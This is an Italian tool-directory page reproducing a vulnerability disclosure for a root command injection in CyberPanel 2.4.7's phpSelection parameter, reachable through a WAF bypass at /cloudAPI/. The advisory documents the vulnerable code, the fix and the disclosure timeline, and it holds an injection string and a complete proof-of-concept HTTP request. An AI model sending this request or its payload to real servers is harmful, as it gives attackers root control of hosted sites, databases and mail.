Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-78818-cyberpanel-phpselection-rce — CVE-2026-78818 - CyberPanel <= 2.4.7 RCE root autenticato tramite command injection in phpSelection + bypass del WAF di cloudAPI | Kitploit
Strumenti/GitHubGitHub/ammarkrblt/cve-2026-78818-cyberpanel-phpselection-rce
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFSicurezza WebPaper e Ricerca
GitHubammarkrblt/cve-2026-78818-cyberpanel-phpselection-rce

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-78818-cyberpanel-phpselection-rce

CVE-2026-78818 - CyberPanel <= 2.4.7 RCE root autenticato tramite command injection in phpSelection + bypass del WAF di cloudAPI

Vedi Repository
11 giorno faNon ancora revisionato

CVE-2026-78818 — CyberPanel ≤ 2.4.7: RCE root autenticato tramite command injection in phpSelection + bypass del WAF cloudAPI

  • ID CVE: CVE-2026-78818 (assegnato da MITRE CNA-LR)
  • GitHub Security Advisory (vendor, bozza non pubblicata): GHSA-p9j3-wrpf-p6w3
  • CVSS 3.1: 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (PR:H, poiché lo sfruttamento richiede credenziali API di livello amministrativo)
  • CWE: CWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando del sistema operativo
  • Affetto: CyberPanel ≤ 2.4.7
  • Corretto: CyberPanel 2.4.8 (silenziosamente, nessun advisory pubblicato, nessun riconoscimento advisory/CVE al momento della stesura)
  • Segnalatore: @ammarkrblt

Riepilogo

CyberPanel v2.4.7 e versioni precedenti contiene una vulnerabilità di command injection del sistema operativo in changePHP() (websiteFunctions/website.py). Il parametro phpSelection viene interpolato direttamente in un comando shell eseguito come root, senza alcuna validazione o sanificazione.

Il WAF integrato blocca questa vulnerabilità sull'endpoint standard (/websites/changePHP), ma l'endpoint /cloudAPI/ applica un set di regole più debole che non filtra il carattere apice singolo — offrendo un percorso di sfruttamento completo con una singola richiesta HTTP fino all'esecuzione di comandi come root.

Confermato su un VPS CyberPanel 2.4.7 attivo: uid=0(root) gid=0(root) groups=0(root)

Causa principale

websiteFunctions/website.py, intorno alla riga 4177:

phpVersion = data['phpSelection']   # no validation
execPath += " changePHP --phpVersion '" + phpVersion + "' --path " + confPath
ProcessUtilities.popenExecutioner(execPath)  # subprocess.call(shell=True) as root

Injection breakout

Chiudendo l'apice singolo e iniettando un comando in background:

Input:  php74' & id > /tmp/pwned & echo '

Result: --phpVersion 'php74' & id > /tmp/pwned & echo '' --path /conf/vhost.conf

Bypass del WAF (CyberCP/secMiddleware.py)

Qualsiasi percorso contenente cloudAPI viene trattato come endpoint API. La blocklist standard include ' e &. La blocklist API omette entrambi — rendendo POST /cloudAPI/ un bypass diretto verso la stessa funzione vulnerabile.

Autenticazione: Authorization: Basic SHA256("user:pass") — l'accesso API è abilitato per impostazione predefinita per l'account admin, quindi non è richiesta alcuna configurazione speciale del target.

Proof of Concept

Richiesta:

POST /cloudAPI/ HTTP/1.1
Host: TARGET:8090
Content-Type: application/json
Authorization: Basic <SHA256(user:pass)>

{"serverUserName":"admin","controller":"changePHP","childDomain":"testdomain.com","phpSelection":"php74' & id > /tmp/burp_test.txt & echo '"}

Burp Suite — richiesta e risposta in tempo reale:

Richiesta/risposta Burp

Verifica lato server (cat /tmp/burp_test.txt):

Prova di RCE sul server

Risultato: uid=0(root) gid=0(root) groups=0(root)

Impatto

Esecuzione completa di comandi come root sul server CyberPanel. Un utente autenticato con privilegi di amministratore può leggere/scrivere qualsiasi file, installare backdoor persistenti e compromettere completamente tutti i siti web ospitati, i database e la posta. L'accesso API è abilitato per impostazione predefinita — non è richiesta alcuna configurazione speciale del target.

Correzione

Risolto in CyberPanel v2.4.8, commit 32897e92d5c4b5c1b6229c24a8aabac22a39ea7a ("Merge v2.4.8 into stable (security fixes: GHSA-p9j3-wrpf-p6w3 + audit)"). Il parametro phpVersion ora viene sanitizzato con shlex.quote() in websiteFunctions/website.py.

Gli utenti devono aggiornare immediatamente a CyberPanel 2.4.8 o versione successiva.

Cronologia della divulgazione

DataEvento
2026-05-28Vulnerabilità segnalata privatamente al fornitore tramite bozza di GitHub Security Advisory (GHSA-p9j3-wrpf-p6w3)
2026-06-08Sollecito: nessuna risposta in 2 settimane, richiesta di conferma di ricezione
2026-06-12Confermato che il commit di correzione del fornitore (32897e9) risolve il problema; richiesta di pubblicazione dell'advisory + richiesta CVE
2026-06-15Richiesta CVE inviata autonomamente a MITRE CNA-LR (richiesta 2055765)
2026-08-13Sollecito: "qual è la situazione?"
2026-09-03CVE-2026-78818 assegnato da MITRE; fornitore notificato e nuovamente invitato a pubblicare l'advisory
2026-11-04Nessuna risposta dal fornitore in nessun momento. Divulgazione pubblica pubblicata qui dopo circa 5,5 mesi di silenzio, in linea con le norme standard di divulgazione coordinata (soglia standard di 90 giorni ampiamente superata). La correzione è disponibile in v2.4.8 per tutta la durata.

Nessun commento, conferma di ricezione o risposta è mai stato ricevuto dal fornitore (usmannasir) durante l'intera finestra di divulgazione, nonostante quattro solleciti separati nel thread dell'advisory.

Riconoscimenti

Scoperta e segnalata da @ammarkrblt.

Scarica lo strumento